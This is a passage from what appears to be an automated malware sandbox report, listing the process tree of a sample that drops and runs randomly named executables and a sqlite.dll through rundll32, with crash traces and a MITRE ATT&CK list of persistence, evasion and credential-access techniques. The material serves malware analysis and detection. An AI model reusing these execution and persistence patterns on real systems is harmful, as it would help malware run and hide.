        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:1452
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue118f55232e4.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4028
    - - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue118f55232e4.exe
        
        Tue118f55232e4.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1148
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1148 -s 1372
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:560
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue112c483dd3245d.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4808
    - - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue112c483dd3245d.exe
        
        Tue112c483dd3245d.exe
        5⤵
        Executes dropped EXE
        
        PID:4632
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 288
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:1848
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11bc0507b56295.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4348
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4728 -s 516
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:4304

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv lX+JvkxKV0GZd+6TsanO5Q.0.2
1⤵
- Modifies data under HKEY_USERS
PID:5028

C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11bc0507b56295.exe
Tue11bc0507b56295.exe
1⤵
- Executes dropped EXE
PID:1016
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1016 -s 284
  2⤵
  - Drops file in Windows directory
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 1016 -ip 1016
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1180

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4632 -ip 4632
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4588 -ip 4588
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 352 -p 4728 -ip 4728
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2892

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4780 -ip 4780
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1640

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1148 -ip 1148
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3268

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 2892 -ip 2892
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5572

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Loads dropped DLL
PID:5660
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5660 -s 460
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  PID:5964

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5604

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5660 -ip 5660
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5812

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 4028 -ip 4028
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5892

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 632 -p 3560 -ip 3560
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3548

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 6020 -ip 6020
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:936

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5852
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  PID:3488
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3488 -s 460
    3⤵
    - Program crash
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:4056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3488 -ip 3488
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 4896 -ip 4896
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6140

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 620 -p 5588 -ip 5588
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 1204 -ip 1204
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4544

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
- Modifies data under HKEY_USERS
PID:3560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:5932

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 5980 -ip 5980
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 5888 -ip 5888
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5908

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 4344 -ip 4344
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 4304 -ip 4304
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1436

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5228 -ip 5228
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4548

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 5184 -ip 5184
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3780

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39e1055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5144

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery